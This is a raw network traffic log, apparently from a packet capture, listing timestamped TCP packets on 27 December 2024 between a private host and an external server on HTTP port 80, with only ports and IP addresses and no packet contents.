Dec 27, 2024 14:56:39.539297104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.539319038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.539515972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.540093899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.540280104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.540340900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.541229963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.541244030 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.541294098 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.541577101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.541590929 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.541636944 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.542362928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.542689085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.542741060 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.543373108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.543545961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.543597937 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.544420958 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.544609070 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.544713020 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.545653105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.545670033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.545728922 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.546286106 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.546299934 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.546345949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.547183990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.547198057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.547346115 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.548002005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.548177004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.548229933 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.549030066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.549043894 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.549088001 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.549933910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.550112009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.550168991 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.550972939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.550986052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.551038027 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.551798105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.551955938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.552006006 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.552669048 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.552829027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.552880049 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.553688049 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.553870916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.553931952 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.554615021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.554785013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.554949045 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.555674076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.555692911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.556531906 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.556545973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.556580067 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.556611061 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.557358027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.557518959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.557723045 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.558367014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.558379889 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.558425903 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.559360027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.559377909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.559425116 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.560194969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.560339928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.560458899 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.561194897 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.561213017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.561255932 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.562220097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.562237978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.562284946 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.562869072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.563224077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.563283920 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.563863039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.564008951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.564053059 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.564898014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.564912081 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.564964056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.565033913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.565165997 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.565217972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.565995932 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.566107035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.566199064 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.566903114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.566967010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.567049026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.567872047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.568039894 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.568083048 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.568927050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.568985939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.569161892 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.569344044 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.569709063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.569921970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.569977999 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.570625067 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.570729971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.570780039 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.571594000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.571683884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.571757078 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.572532892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.572588921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.572644949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.573523998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.573605061 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.573652029 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.574343920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.574480057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.574529886 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.575293064 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.575378895 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.575428963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.576195955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.576308966 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.576360941 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.577140093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.577264071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.577322006 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.578104973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.578159094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.578208923 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.578991890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.579121113 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.579188108 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.579942942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.580003977 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.580157995 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.580861092 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.580969095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.581026077 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.581788063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.581902027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.581949949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.582679033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.613728046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.744443893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.744533062 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.744879961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.744935036 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.745002031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.745737076 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.745812893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.745944023 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.745990992 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.746762991 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.746869087 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.746916056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.747690916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.747802019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.747844934 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.748639107 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.748722076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.748765945 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.749550104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.749660969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.749747038 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.750489950 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.750586033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.751431942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.751486063 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.751519918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.752414942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.752460957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.752464056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.752887964 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.753302097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.753388882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.753433943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.754216909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.754328012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.754451990 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.755143881 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.755271912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.755320072 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.756071091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.756187916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.756231070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.757014036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.757124901 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.757169008 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.757936001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.758055925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.758162022 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.758898020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.759010077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.759084940 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.759802103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.759896994 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.760018110 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.760658026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.760826111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.760924101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.761698008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.761743069 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.761760950 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.762603998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.762644053 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.762686968 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.762728930 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.763528109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.763638973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.763684988 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.764480114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.764586926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.764740944 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.765434980 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.765547991 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.766022921 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.766366959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.766448021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.766539097 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.767267942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.767364979 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.767407894 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.768208981 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.768249035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.768455982 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.769155025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.769334078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.769375086 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.770070076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.770164967 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.770203114 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.771017075 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.771097898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.771209002 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.771939039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.772059917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.772123098 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.772871971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.772969961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.773049116 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.773845911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.773926973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.773972988 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.774713993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.774738073 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.774815083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.774854898 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.775659084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.775780916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.775824070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.776602983 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.776699066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.776738882 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.777537107 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.777636051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.777676105 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.778446913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.778579950 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.778615952 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.779387951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.779506922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.779731035 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.780327082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.780441999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.780944109 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.781250000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.781363964 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.781543970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.782229900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.782278061 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.782351017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.783109903 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.783238888 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.783818960 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.784049988 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.784152031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.784218073 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.784995079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.785171032 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.785212994 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.785904884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.786003113 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.786094904 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.786844969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.786937952 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.786993027 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.787765026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.787899971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.787985086 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.788696051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.788810015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.788923025 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.789666891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.789808035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.789865971 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.790633917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.790718079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.790755033 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.791516066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.791568041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.791608095 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.792427063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.792546034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.792635918 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.793308020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.835561991 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.850996017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.866511106 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.955035925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.955115080 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.955168009 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.955415010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.955574036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.955620050 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.955638885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.956566095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.956608057 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.956783056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.957730055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.957773924 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.957782030 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.958352089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.958386898 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.958415031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.959230900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.959275961 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.959323883 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.960134983 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.960182905 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.960242987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.961086035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.961123943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.961164951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.962039948 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.962076902 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.962181091 CET	80	49759	185.215.113.16	192.168.2.7
